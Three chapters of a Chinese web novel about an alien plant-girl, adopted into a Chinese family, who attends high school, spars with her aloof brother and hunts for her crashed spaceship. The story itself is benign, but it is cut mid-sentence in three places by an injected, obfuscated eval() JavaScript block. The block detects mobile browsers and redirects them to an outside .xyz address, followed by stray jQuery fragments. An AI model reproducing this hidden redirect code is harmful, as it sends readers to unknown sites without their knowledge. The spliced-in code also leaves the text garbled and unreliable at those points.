《外星人来地球也要读书!》
1. 1
二楼阳台处的玻璃门开着,外面的树叶绿油油还没枯萎的迹象,初秋的风干燥凉爽,吹进屋里掀起轻飘飘的白窗帘。
白草莓伸手挠了挠被窗帘摩挲的小腿,捧着《植物百科图鉴Ⅰ》昏昏欲睡,圆脑袋垂下去又扬起来,跟窗外沙沙作响的树叶节奏一样。
“草莓在吗?”
房间的门响了两声后被推开,一位衣着素净,笑容温柔的青年女士朝白草莓招了招手:“快来,我们去楼下等哥哥好吗?”
白草莓连忙睁开眼,规矩地把书合起来放在桌上,小跑过去牵住叶文心的手,咧开嘴,笑容甜甜的:“好的,妈妈。”
“妈妈”,地球人是这么称呼孕育他们的母体的。
白草莓没有母体,每次这么叫都觉得新奇,特别是妈妈会温柔回应她。
没错,白草莓是外星人,但她也不清楚自己为什么拥有一副地球人的身躯,醒来就有了,学会使用双手双脚花了她不少的功夫。
她原本是一棵纯白色的拥有许多条触须的植物,来自距离地球三千万光年的α星系,是一名兢兢业业的货运飞船驾驶员。
上次任务期间飞船突发故障,仪表盘和驱动设备同时失灵,没有目的地四处的跃迁,她只好迫降地球。之后她跟着飞船坠落,阴差阳错陷入沉睡,在医院里躺了五年,不久前清醒过来被白家父母收养,也有了个地球名字——白草莓。
白家两夫妻都是生物学家,有间科研公司,平常不是在研究所就是在世界各地,忙得不可开交,两个人还有个儿子,没少因此跟他们争吵。
尽管他们领养白草莓很大一部分原因是为了给儿子找个伙伴,但白家父母确实没有亏待过白草莓,唯独缺少陪伴。
正好,白草莓的漫长生命里最不缺孤单。
今天是白草莓跟这个名义上的哥哥第一次见面,听说白澜亦这家伙很不好相处,她得加倍小心,争取尽快融入地球,找到失踪的飞船和货物,母星还在等着她。
叶文心牵住白草莓的手,替她重新整理了着装,轻柔地摸着她的头发安慰道:“别紧张,澜亦是个好孩子,你们俩好好相处,以后一起上学一起生活好不好?”
“好的妈妈。”
白草莓认真点头,迈着视死如归的步子下了楼梯。
突然一颗粉笔头从天而降正中眉心,白草莓受惊一颤,被同桌许缨摇了摇,她揉着眼睛迷迷糊糊坐起来。
她昨天晚上忙着研究地球的块状实体通讯器,一直到天蒙蒙亮才入睡,本来就困,又被语文英语连番轰炸,实在是累到极点。
“白草莓,你基础不好上课还睡觉?”
数学李老师看她入学这么久半点长进都没有,还在悠闲睡觉,简直一个头两个大,敲了敲黑板上的方程式:“上来,把这个拆一下。”
李老师讲话还是太含蓄,白草莓的数学哪里是基础不好,那是压根就没有。
α1223星的植物们只管长大,长大了就能各司其职,知识早就刻在基因里代代相传,还有无数条触须协助生活,从来就不需要学这些。
她是个外星人,地球话都听不明白,更别说那些弯弯绕的知识点了。
白草莓抬头看了眼黑板,疑惑地歪了脑袋,虽然不理解为什么要拆,但还是起身走上讲台。
李老师靠在讲台边上,刚端起水杯准备润润嗓子,底下学生齐刷刷睁大了眼睛,发出惊呼,不可置信地指着黑板。
只见白草莓扎了个马步,双手托在黑板底下,一个使劲,整个黑板摆脱固定架的桎梏,立在白草莓手上摇摇欲坠,吓得李老师急忙喊停。
讲台下又哄笑起来。
课后,白草莓跟着李老师进了政教处,路上双手一直局促地绕着领口的红绳结。
她显然是知道自己办了错事,但不明白哪里错了。
政教处的老师听说白草莓的所作所为,看她那双眼睛水灵灵的,清澈又愚蠢,忍不住感叹:“这孩子不聪明,但劲儿是真大。我来联系她的家长吧。”
高中生正是求知欲和分享欲都惊人旺盛的时候,下课铃声一敲响,白草莓徒手卸黑板的生猛“战绩”就长了腿,传遍整个绿江第一私立,荣获“怪力少女”的称号。
与此同时,绿江一私某个高二的课间安静祥和,多数人都捧着习题册刷题,白澜亦也不例外。
走廊上传来匆忙的脚步,浓厚的学习气氛被敲门声敲散,来人是替老师传话,但语气里充满探求八卦的意味:“白澜亦,政教处有请。”
绿江一私是C市重点私立,分为本部和国际部,尽管同坐一间教室学习,国际部生源参差不齐,但本部的学生都是凭真才实学考进来的,衬衣领口的蓝绳结就是优异的代名词。
白澜亦就是本部学生的佼佼者,虽然脾气冷得跟冰块一样,但从来不惹是生非,更没出现过被政教处点名的情况,一时间刷题的人都停下了笔看热闹。
同学们清楚白澜亦的为人,但是不清楚他身后现在多了个白草莓。
白澜亦严肃地合上书,拎起椅背上的深绿外套穿上,低声说了句惹祸精。
不用说,一定又是白草莓闯了祸,自从她入学,白澜亦三天两头要被政教处老师拦住,私下沟通。
白草莓第一次闯祸是刚进校的时候,她看见花坛边上有棵万年青的盆栽,二话不说抱起来就往外冲,说什么要还它自由,好几个老师跟着追都没追上,最后跟体育老师竞速了一千八百米才肯还回去。
还有一次不知道哪根筋搭错了闹绝食,肉不吃,菜不吃,连米饭也不吃,就在那儿吨吨吨喝白水,食堂阿姨都怕她水中毒,最后她也是成功把自己喝吐了才长记性。
不知道这次又是什么事,麻烦。
白澜亦一路小跑到政教处门外,平复呼吸后将衬衣拉平整,抬手敲了敲门,门里立刻便有了回应:“请进。”
白草莓原本蹲在龟背竹跟前拎着小壶浇水,一见到白澜亦露面,立刻站得笔直,两手摇得飞快,跟他打招呼:“哥!”
政教处里的老师们不处于教学一线,但都认识白澜亦,黑头发白衬衫,长相帅气履历优秀,不敢想象该是多少人的白月光,偏偏有个这样的妹妹。
再看软乎乎水嫩嫩、一脸懵懂的白草莓,算了,孩子单纯也不是坏事。
白澜亦迈步进来,淡淡扫了眼白草莓,她还是那副没心眼的模样,白澜亦收回目光先去解决她闯的祸。
老师绘声绘色跟他描述事件经过,白澜亦的脸是越听越黑,手越攥越紧。
他活了十七年就优秀了十七年,天文地理人文科学样样精通,奖项拿到手软,奖状能论斤称。这样的人,现在因为白草莓不可理喻的行为在这儿挨训,真是可笑。
一股浓烈的味道炙烤着空气,白草莓伸出两只触须捕捉这股气息,察觉到白澜亦的火气在蹭蹭蹭上涨,小步小步挪到他身边,轻轻扯着他衬衫一角扥了扥,又叫了声:“哥。”
白澜亦拨开她的手,快步走到室外长呼一口气,面色铁青,显然没想到白草莓的理解能力低到这种令人发指的程度:“你是白痴吗?让你拆方程,你去拆黑板?”
白草莓跟着他出来,背着手听他讲,等白澜亦不说话了,她才弱弱地问:“哥,我不叫白草莓了吗?”
白澜亦按住太阳穴,深呼吸平复心情。这家伙智商低到这种程度,他爸妈怎么想不开去领养,还转头就当甩手掌柜把烂摊子丢给他管,究竟是谁在做慈善啊。
他们都没管过白澜亦,白澜亦又凭什么替他们爱这个突然冒出来的呆瓜妹妹。
白澜亦攥紧拳头,退了两步,跟白草莓保持距离:“别叫我哥。”
“好,你别生气。”白草莓从兜里掏出颗糖来,伸长了手递给白澜亦,她仍旧笑着,释放善意:“白澜亦……”
“也别叫我的名字。”白澜亦冷漠地打断,随后头也不回的走了。
白草莓收回手,盯着手心里的糖,低声道:“看来他不喜欢葡萄味的,那下次给他蓝莓味的好了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004415|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“都不吃我吃,正好饿了。”
说话的又是个本部的男学生,他擦着白草莓的肩膀路过,看她盯着糖没吃也没收起来的打算,顺手就把糖撕开填进嘴里。
男生头发毛躁泛黄,背影潇洒,顶着那头黄毛就大摇大摆往政教处里进,显然是常客,比白草莓还熟练。
“草莓!”
白草莓没顾得上找他,循着声音望过去。
许缨趴在一楼半的楼梯拐角处盯着白草莓坏笑,红绳结随动作轻晃:“你哥是本部的白澜亦,这事怎么能瞒着我呐!”
“我从来没瞒你,是他不让说。“白草莓踩着台阶走到她跟前,有些委屈。
白澜亦禁止白草莓在任何地方提及他俩的关系。
“没关系。走走走,最后一节课是语文,上完这周就算结束啦。”许缨挽住白草莓的胳膊往楼上走。
*
好不容易熬到下课,白草莓瘫坐在椅子上,所有的精神气都被抽了个精光。
“啊,我成草莓干了。”
许缨跟她趴在一块,看她心累那样子调侃:“语文课比其他课都轻松,怎么就你避之不及啊?”
陌生难懂的四字成语又出现,白草莓的嘴角微微下调两个像素点,看得许缨咯咯直笑:“好啦,下午是课外活动,你要是没事,吃完饭咱俩去阳光房里躺着晒会儿太阳。”
听见晒太阳,白草莓两眼放光。
1223星的居民寿命比地球人长很多倍,但是资源有限,像她这种植物颜色纯白色彩单一,光合作用不充分,资源浪费严重,久而久之就没有享受用阳光的机会了。
啊,谁不想躺在阳光底下,舒舒服服地伸展叶片大口呼吸。
白草莓高举双手蹦起来,拉起许缨就往食堂赶:“我要晒太阳!”
阳光房在图书馆一楼,面积不小,里面摆了几张椅子,四周种满了植物,还有些千奇百怪的用专属仪器罩着,据说是供参加生物竞赛的本部学生研究用。
她们今天走的路需要穿过一个走廊,两侧挂满了前辈的画作,花花绿绿,拐角还有间器材室,不过学校里新建了室内体育馆,这间器材室算是闲置了。
只是今天除外。
室内光洁地板上倒影出沉默对峙的双方,光从封闭窗户里透进来,浮灰像有生命一样呼吸着,两旁的铁架上摆满了体育器材,无声的火光在狭小的空间里翻滚燃烧。
被堵在里面的那人校服穿得整齐,领口处蓝色绳结压住干净的白衬衫,黑亮发丝温顺地垂下来,乍一看是个乖乖仔,但眼神冷漠到嫌弃万物,不怎么好接触。
任谁在路上走得好好的突然被大力拉进器材室里堵着也不会摆出好脸色的。
特别是白澜亦,本来就脸臭。
不过堵人的那个蓝绳结黄毛看着也不好惹,他嘴里叼了根棒棒糖,头发乱七八糟的支棱着,眉尾高扬,一手撑在架子上,瘦高的个子仰着下巴看人,真的很欠揍。
陈序说话倒不像长相那么锋利,开口就是慢条斯理的:“白澜亦,咱们都是本部的,我也不想找你麻烦,但是国际部的开了个好价格,委托我来传句话,说完我就撤。”
陈序家里穷,尽管成绩好免了学费,但是杂七杂八的费用还是很多,所以刚进校就四处张罗着挣钱的买卖,写作业带零食帮买饭……只要不违法乱纪,他什么事都能做。正好国际部的学生最不缺的就是钱,一来二去,陈序就成了国际部御用跑腿。
白澜亦懒得听他和他雇主的废话,绕开就要走,陈序话没传到,钱没进兜,自然不会让他走,伸手抵在他胸口:“别急着走啊。”
白草莓突然在器材室前驻足。
她敏锐地察觉紧闭的房门里有股暗流在涌动,空气都变得灼热烫手,还有股……白澜亦的味道。
许缨看她停下,伸手在白草莓面前招了招,问道:“出什么事了?”
白草莓盯着紧闭的房门,形容不出来她的感受,只说:“这里面很奇怪。”
2. 2
白澜亦一把扯开陈序的手,抚平衬衣,摆正绳结,神情淡漠,冷冷地说:“让开。”
怪不得国际部要找他的茬,白澜亦这副谁都看不起不搭理的模样,陈序看了也不爽。
“康二少说要你以后在校园里……”
“咚咚咚。”
几声急促的敲门声响起来,少女关切的声音紧随其后:“有人吗?里面有人吗?”
白澜亦听出来是白草莓的声音,被拦在这里浪费时间的火气再也抑制不住,推开陈序就要离开。
陈序话还没说完,连忙伸手去拦他:“要你在校园里躲着国际部的人走,不然……”
白澜亦烦不胜烦,跟陈序拉扯起来,一个硬走,一个强留,推推搡搡之间撞到置物架上,丁零当啷一通响。
白草莓听见响动更着急了,她试图推开大门,但门被反锁纹丝不动。
里面的动静越来越大,空气中爆发的肾上腺素气味也越来越浓烈,一缕缕像长了眼睛,从门缝里探出头找到白草莓的触须直直往里钻。
她察觉室内两人剑拔弩张,心急如焚,一连串地拍门:“开门!开门!”
白草莓谨记那个叫“妈妈”的温柔生物的嘱托:澜亦其实是个好孩子,草莓现在是家里的一员,要好好跟哥哥相处哦。
白草莓一直清楚人类是很脆弱的生物,她就这一个哥,别给她整死了!
于是白草莓做好心理准备,深吸一口气,抬腿踹向铁门。
“哐当!”
白澜亦正巧被陈序按在置物架上,不等陈序把剩下的话说完,就听见这声巨响。
门差点被掀飞。
上下两个合页,其中一个被弹飞,蹭着陈序的头发丝消失不见,另一个连接着门和墙,摇摇欲坠。
无比响亮的碰撞声险些震碎在场所有人的耳膜,不过这动静也成功让两人同时停下手头上的动作,转头向门口看齐。
只见一个白白嫩嫩的纤瘦女生推开那扇“门”,逆着光从灰尘中走出来,发丝飘摇,伸手一指,像大片里极限救援的超级英雄。
“里面的人!放开白蓝莓!”
陈序挑眉,目光落在白澜亦身上,想不到这么冷漠的家伙还有个这么可爱的外号:“你?……蓝莓?”
许缨趴在门口往里望,怎么也没想到能看见这俩人纠缠在一块,嘴角刷的一下就扬了起来。呦,这氛围确实奇怪啊。
由于肾上腺素还很炽热,白草莓丝毫没有察觉那底下逐渐蔓延的尴尬,继续说:“蓝莓不用怕!我来啦!”
白澜亦难堪,难堪极了,一股热气从耳朵尖蹿上去,再从头发丝里冒出去,在他天灵盖上载歌载舞又发出尖锐的汽笛声。
蓝莓!嘟!嘟!嘟!白蓝莓!嘟!嘟!嘟!嘿嘿!蓝莓!嘟!嘟!嘟!白蓝莓!
白澜亦松开陈序的领口,推了一把,彻底拉开两人之间的距离:“滚。”
白澜亦的怒火转移到了白草莓身上,冷冷瞥她一眼,谁同意她随便给自己取外号的?真是没礼貌。
陈序“喂”了一声,没再拦白澜亦,只是靠在架子上扬声问:“白澜亦,这句‘滚’是给我?还是要我带给那群雇主?”
“都——滚——”白澜亦连余光都没分给几人,捋平了衣物,弯腰拎起一边的背包挎上。
空气逐渐冷却,危机解除。
白草莓笑盈盈地挡在他面前,关心地问:“蓝莓,你怎么样?”
白澜亦拨开她的脑袋,冷言道:“让开!”
走到门口,不用他再多废话,许缨就自觉往旁边撤步给他腾位置,她垂着头但是肩膀微耸,是在偷笑。
陈序有白澜亦那句“滚”就能回去交差了,嘴里还叼着棒棒糖,他原以为白草莓被这么对待肯定难过得要哭了,结果走近一看,她盯着那扇破门神情正常,就是不知道在想什么。
陈序心里啧啧称奇,没为难白草莓,反而笑着搭讪:“他还挺不识好歹的,是吧?”
白草莓扭头,真诚发问:“‘不识好歹’是什么意思?”
“嗯?”
陈序深吸一口气,十分之十分的不可置信,口腔里的糖被舌尖抵去另一侧。
他俯下身,凑近白草莓胸口前的校徽细看,学校是绿江一私没问题,现在国际部的生源这么良莠不齐了?真给钱就能进啊?
陈序又抬起眼皮看了眼白草莓,轻轻摇头,不打算掺和这种没钱挣的琐事,双手往兜里一插,交代了句“门记得赔”就要走。
白草莓忽然拉住了他的手腕,望过来的目光真挚:“今天上午,政教处门口,是不是你吃了我的糖?”
她的手心绵软温热,质问也软趴趴的,跟刚刚一脚能踹飞铁门的好像不是一个人。
1223星有很多无性植物,它们可以自己繁育后代,从来就没有男女有别的意识,白草莓也不清楚这个年龄段最不能随便拉别人的手,尤其是异性。
陈序猛地一哆嗦,蜷起指尖抽回手,上下打量白草莓,想着国际部的不至于跟他计较一块糖吧?
他开张做生意,目前还没国际部的从他这儿讨到什么便宜,不狠宰一刀就算他仗义。
陈序摸不清白草莓的打算,摩挲着手腕,笑容是很模式化的坏笑:“是我,怎么了?要我赔你……”
“好吃吗?”
“什么?”陈序没想到等来这样一句话。
白草莓眼神平淡,掺着好奇,好像真的只是单纯问问味道如何:“那个葡萄味的糖,好吃吗?”
陈序的话被噎了回去,笑容收敛,眼睛微眯,怀疑地回答:“挺好吃的。”
白草莓认真点头:“那就好,许缨!我们回去再拿两颗尝尝吧!”
陈序确认了,这个小姑娘内心十分坚韧,踹坏了铁门又被自己哥哥嫌弃,还能笑着跟许缨手挽手,若无其事。
“好啊。”许缨临走前瞄了眼陈序,看他表情困惑只觉得好笑。
但许缨从入学开始就清楚白草莓是什么性格,知道她简单到比白纸还要白纸,她的言行举止喜怒哀乐都没办法按常理推断,所以跟白草莓在一起相处很有意思。
陈序目送着她俩并肩越走越远,手撑着破门挠了挠头,少了场质问过后应有的唇枪舌战,他竟然觉得有点不完整。
白草莓乖乖上交完赔偿,在政教处第二次记名后,兜里揣了两颗糖,快乐地推开阳光房的门。
空气都被晒得暖洋洋,氧气充沛,白草莓畅快地伸了个懒腰,打开浑身的毛孔开始呼吸。
看见花坛里各式各样的植物,白草莓三步并作两步跑进去,热情跟每一株植物打招呼,尽管它们没有回应。
许缨靠在椅背上,看白草莓精力十足的模样,短叹一声:“真羡慕你啊,精力这么充沛。刚刚还蔫儿着呢,现在就这么元气满满。你是不是靠太阳能充电的?”
还真就让许缨说对了,有太阳她就能活下去。
白草莓嘿嘿一笑,闭上眼睛深呼吸,探出自己的白色触须试图跟这些植物进行沟通,问问它们有没有飞船的下落。
α星系里的大家都有精神力,可她的精神力为了维护生命体征现在已经告罄,所以尽管她能感受到这些植物的蓬勃生命力,但无论她怎么戳,也无法和它们建立联系。
好可惜。
她不清楚怎么样才能恢复精神力,有了精神力才能驱动联络手环,有了联络手环才有机会跟母星取得联系,取得联系她才有机会返航。
想到返航,白草莓伸手敲了敲脑袋,返航也得先找到飞船再说。
啊——她那么大一个飞船到底去哪儿了。
许缨看她眉头一会舒展一会皱成一团,忍不住乐了:“诶,你怎么了?本来还笑着怎么突然又愁眉……呃,又不高兴了?”
白草莓摸着下巴想了想,还没想出答案,转眼就被二楼平台那个椭圆形白色建筑吸引了注意力:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004416|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我在想……那是什么东西?”
许缨顺着她的手指看过去,解释说:“那是观星台,放着一台天文望远镜。就是能通过一个圆筒看见天上星星的地方。你要是感兴趣,可以申请下周的天文课。”
白草莓点头,也不知道这个望远镜能不能望到1223星,尽管她在那里颜色浅,地位低,也没能讲话的朋友,但她还是想念那里的土地。
“许缨,”白草莓忍不住问:“你有去看过吗?能看多远?”
许缨哼哼轻笑,骄傲地抱起胳膊:“我当然去看过啊,这么跟你说吧,我对宇宙可感兴趣了,你有什么想知道的尽管问我。”
白草莓大喜,小步挪到她跟前,扒着扶手问:“那你知道怎么跟外星球联络吗?”
一上来就给许缨抛了个大难题,她眨巴眨巴眼,想着可以通过具有强磁场的脉冲星作为中转发射信号,可是解释完强磁场是什么,还得解释脉冲星是什么,面对白草莓她一时词穷她不知道该怎么解释。
于是她撑着下巴,先说:“第一步,我们要知道有外星人的星球坐标。”
白草莓飞快回答:“α星系1223星。”
许缨摇头:“你是随口编的吧,哪有这个星系?”
白草莓空欢喜一场,叹了口气,忽然两眼又充满希冀,看着许缨问:“那你刚刚的意思是,相信地球以外有还有其他生物存在吗?”
“这有什么好质疑的?”许缨回答得非常果断,“宇宙这么大呢,肯定有外星人存在,说不定他们还有超能力呢!”
“是啊,他们的种族和结构跟地球人完全不一样。”白草莓把下巴抵在手背上,回想起α星系里形态各异的怪人,忍不住歪着脑袋笑,手舞足蹈地讲起来。
“有些人长着两个脑袋,特别聪明,但需要轮流闭眼休息;有些人没有形状,要跟它讲话可费劲了,还得通过转换液;还有的人精神力特别强大,不用飞船就能穿梭宇宙,能省下好多能源。”
听着白草莓天马行空的想象,许缨连连点头表示新奇,不过她也有些奇怪:“你连基本的常识都没有,上课也是昏昏欲睡,怎么对宇宙这么了解?难道你是外星人啊?”
!
白草莓睁大了眼睛,天呐!她怎么连这件事也知道?!
“许缨!你真是我在地球上遇见的最聪明的人!比蓝莓还要厉害一百倍!你太了解我了,怎么什么都知道?你是不是就长了两个头啊?”
白草莓双手紧紧捧住许缨的手,眼神是一如既往的真挚,现在还多了对许缨的崇拜。
许缨对上她的目光,一时间欲言又止。
她听说白草莓进国际部只是为了融入同龄人,因为出车祸昏迷了好几年才清醒过来,爸妈不奢求她成绩有多好,只想她健健康康的,现在看来,白草莓的后遗症确实挺严重的。
许缨揉了揉白草莓的软发,对她的遭遇十分怜爱:“辛苦我们草莓啦,在宇宙里翱翔了五年终于回到地球上。”
白草莓摇摇头,汗珠从脸颊滑落,滴在地上,她伸手擦擦,拍拍胸脯说:“没关系,我很快就会回去的。”
许缨的笑容稍稍淡了,将手贴上白草莓的通红脸颊,滚烫的热度释放出十分之一百的不对劲,连忙问:“草莓,你难受吗?”
“难受?”白草莓也跟着摸了摸脸颊。
听许缨这么一说,她是感觉自己有点不对劲,口干舌燥,刚才温暖舒适的太阳光像是突然增强了十倍,烤得她浑身的水分都在流失,非植物不可见的触须也迅速枯萎,无力地萎顿在脚边。
她揪着领口说:“难受。”
浑身的毛孔全都闭合,呼吸变得困难,脸也涨得通红,神智逐渐朦胧。
“草莓,坚持一下,草莓,千万别睡啊草莓。”
突如其来的变化把许缨也吓得不轻,托住她的下巴,试图唤回白草莓的意识。
“来人啊,有没有人!快来帮帮忙!”
3. 3
渴。
好像浑身的水分连同血液都被抽空,只能像具干尸一样躺着,动弹不得。
嘴唇被黏在一起张不了口,意识飘飘摇摇,时而清醒时而沉沦,白草莓隐约听见有人讲话。
“草莓,能听见我说话吗?”
这声音颤抖又紧张,是她的好朋友许缨。
“人,我送到了,运费是你结还是白澜亦结?”
这声音慢吞吞,事不关己高高挂起,是认识不久的陈序。
“我拜托你们,养不好孩子就别养,我这个前车之鉴还不够吗?”
“康复医生给她开了针对药?药呢?忘了?真行……对对对,实验最重要,你们就只会说些漂亮话。”
“她跟我没关系。七小时内药没到的话,她的死活我也管不了。”
这声音是正在发脾气的白蓝莓。
白澜亦从小独自生活,高度清醒自理,他什么都学过,就是没学过怎么跟爸妈心平气和地相处。
白草莓还是第一次见白澜亦情绪起伏这么强烈,看来就算再不喜欢她,这个哥也不会眼睁睁看着她出事。
妈妈说得对,白澜亦其实是好孩子,要跟他好好相处才行。
“滴——”
“α星系1223星联邦管辖第三十七区货运飞船驾驶员纱拉荞前来报道!跃迁航线:往β星系3366星返α星系1223星,奉命运送三箱浓缩营养液,保证完成任务!”
这是白草莓自己的声音,永远都是昂扬着,充满激情和活力。
“滴,滴,滴——”
白澜亦坐在书房电脑前敲代码忙比赛,许缨趴在白草莓的病床边翻阅医学论坛。
管家叔叔匆匆赶来,给每人都端去碗热腾腾的排骨汤,顺便弯下腰查看白草莓的情况,依旧是不容乐观。
葡萄糖顺着输液管一滴一滴流进她的血管,但白草莓的呼吸还是很弱,皮肤皱巴巴,丝毫没有睁眼的迹象,像一下子被秋天抽走所有生机的枯草。
“刘叔,草莓之前出现过这种情况吗?”许缨放下平板揉揉眼睛,没从论坛里找到类似的病情。
刘管家摇头:“小姐从清醒过来到今天,整整三个月,从来没出现过身体上的不适。我想,或许是之前没检查出来的后遗症。”
这时叶文心提着一个冷藏箱进门,她接到消息就包了专机赶回国内,看见白草莓干巴巴的可怜样子心疼地拍拍她的脸颊:“我来晚了,宝贝。”
随后她从冷藏箱里取出一瓶浅黄色药剂,遵医嘱摇匀之后注射进输液瓶里。
剩余的药剂做成了口服液,等白草莓醒过来,只要每周口服一瓶就能稳定病情。
叶文心带来的这些量够她喝三个月。
但叶文心还是放心不下,对着白草莓好一番检查,又是量体温又是看心率,好在她懂一点,确定白草莓有在好转,把后续相关事宜都交代给刘管家。
随后叶文心终于有空看向一旁的许缨,朝她温和点头。
“我认识你,航天局许博士家的孩子,跟你父母一样优秀。今天真是太谢谢你了,要是没有你陪在草莓身边,我不敢想会发生什么。”
许缨受宠若惊,连忙说:“阿姨不用这么说,草莓是我的朋友,这些都是我该做的。”
等她俩寒暄完,刘管家指着紧闭的书房提醒叶文心,白澜亦也在这里。
书房的门忽然打开,白澜亦背着包出来正碰见叶文心,他还以为今天见不到了。
但他只是脚步顿了一下,什么话都没说,绕过叶文心就要往外走,还是叶文心开口叫住他。
“澜亦。”
“妈妈最近去瑞士出差,给你带了礼物。”
白澜亦偏头,礼盒递到眼前来。他的嘴唇微微颤了下,眼眶泛红,接过礼盒丢进包里,放狠话:“不劳烦,这些东西我可以自己买。”
叶文心对白澜亦的态度习以为常,轻叹一声目送他离开,随后拿起桌上的提包,简单嘱托两句后又踏上了前往异国他乡的航班。
随着输液瓶见底,白草莓的呼吸趋于平缓,身体缺水的症状也极大缓和,护士替她拔掉针头,手法干脆利落,在冒血之前就按上了止血贴。
幸好没看见白草莓那浅绿色的血。
等白草莓彻底清醒过来已经是两天后了,正好是星期一,她掀开被子就要下床去学校,被刘管家死活按住,在医院多住了几天观察。
观察下来就是,白草莓每天在花园里蹦蹦跳跳,跑来跑去,活力四射,比昏倒之前还要有精神,靠行动说服了管家放她去上学。
白草莓才不是什么热爱读书的外星人,她谨记自己的任务——找飞船。
当初同意入读就是把绿江一私当成开启“全地球地毯式搜索飞船”的第一站,可惜这学校太大,课程又丰富,绊来绊去,白草莓都还没走遍校园,更别提搜了。
进校门之前,白草莓对着校门外的百年大树立下宏图大志:“时间不等外星人,这周我一定要搜完学校的三分之一。”
本周倒计时:2天。
白草莓挠头,要不下周算了?
话是这么说,但是一看到树小弟虽然高大粗壮,但树心中空,爬满虫蚁,明明同龄的树依旧茁壮,而它的枝叶已经枯败得不像话,颓腐的气息扑面而来,白草莓再也没法纵容自己拖延。
她想起1223星的智囊团,那群老植物兢兢业业为星球图谋,最后还是因为土壤养分流失,精神力衰退,没法抵御虫灾,个个开始枯黄,被啃食得遍体鳞伤。
智囊团首当其冲,紧接着就是他们这些最普通最平凡的植物,要是群龙无首,人人自危,1223不知道会乱成什么样子,真到那时候她的家园就毁了。
飞船上那三箱浓缩营养液不仅是她的任务,更是1223的救命稻草。
纱拉荞!振作起来,你是1223最勇敢的驾驶员!
于是接下来的一段时间绿江一私的学生纷纷反映,“怪力少女”白草莓会随机刷新在任何你想象不到的地方,每天就像开盲盒。
“斥候1号报告!她在巴洛克图书馆四楼处的圆拱上,眺望远方。附图如下:”
“斥候2号报告!她在校内公园五米深的人造湖里游,恐吓天鹅。附图如下:”
“斥候3号报告!她在一二教学楼之间的可回收垃圾桶里……拾破烂。不附图了。”
校园群里流言乍起,议论纷纷,质疑起绿江一私的专业性和学术性,不明白为什么纵容白草莓在学校胡作非为。
但白草莓双耳不听窗外事,一心只想找飞船。
她的飞船在舱内没人的时候会自动缩小,变得扁扁的,非常具有迷惑性。
或许她当时开启了这个功能,所以不排除有人捡到了它又转手扔掉的情况,即使过了五年,依然有这种可能性。
“咚咚。”
垃圾桶前忽然暗了下来,头顶传来两声脆响。
白草莓抬起头,就看见陈序趴在她面前,头发顺溜,衣着整齐,眼神平静,嘴角挂着浅笑,蓝色绳结轻晃,一股清爽的少年气扑面而来。
他问:“找东
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004417|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
西?需要我帮忙吗?”
许缨最近在外地参观航模展,白澜亦也去参加比赛不在学校。白草莓独自忙碌许多天都没有收获,没想到陈序会主动提出帮忙。
她感动得快要落泪,连忙点头:“非常需要。”
陈序笑笑,摊开手,狮子大开口:“三百。”
?
白草莓盯着陈序,眼睛眨啊眨,没理解“三百”是什么意思。
陈序敲了敲垃圾桶,解释:“三百块钱。”
想到什么,陈序又补充:“只接受能用的人民币啊。”
“钱啊?好。”白草莓一口答应下来。
1223不流通货币,她对钱没概念,拿出手机递给陈序,毫不设防:“密码是1223。”
陈序接过手机,在框里输了300,嘴里吐槽:“你还真是心大,密码直接告诉我,不怕我哪天把你的钱通通转走?”
白草莓把排除过的纸壳压扁塞进纸箱里,头发微乱,脸颊通红,触须贴在陈序身上嗅了嗅,闻到了心虚的味道。
她亮晶晶的眼睛直勾勾盯着陈序,盯得他后背有点发毛:“你很缺钱吗?”
非常缺。
陈序梦里都在筹钱,他没跟别人提过,但看着白草莓这张人畜无害的脸,陈序忍不住调侃:“我要是说缺,能把你的钱都转走吗?”
白草莓摊手:“你转啊,密码是1223,我刚跟你说过。”
心大得有点过分了,她余额里可是有六位数。
白草莓忽然说:“反正下个月还有。”
陈序无话可说。
他把手机还给白草莓,脱下外套挂在树枝上,撸起袖子换了个话题:“你可真好骗,我随口一说你就真信了?”
白草莓放好手机,拍拍兜:“为什么不信?我们是朋友啊。”
陈序摆得清位置,不认为自己跟有钱人有几过次金钱交易,就能跟他们称兄道弟,更别说跟白草莓当朋友。他
他自嘲笑笑,熟练地收捡纸堆:“谁跟你是朋友?”
“我啊。”白草莓蹲下身跟他一起叠。
陈序忽略白草莓的回答,反问她:“你要找什么?”
哦,对!
白草莓顶着一张无比真诚的脸,用无比真诚的语气回答:“找我的飞船。”
飞船?
陈序怀疑地掏了掏耳朵,片刻后还是没能消化白草莓的话,放下手又问了一遍:“找什么?”
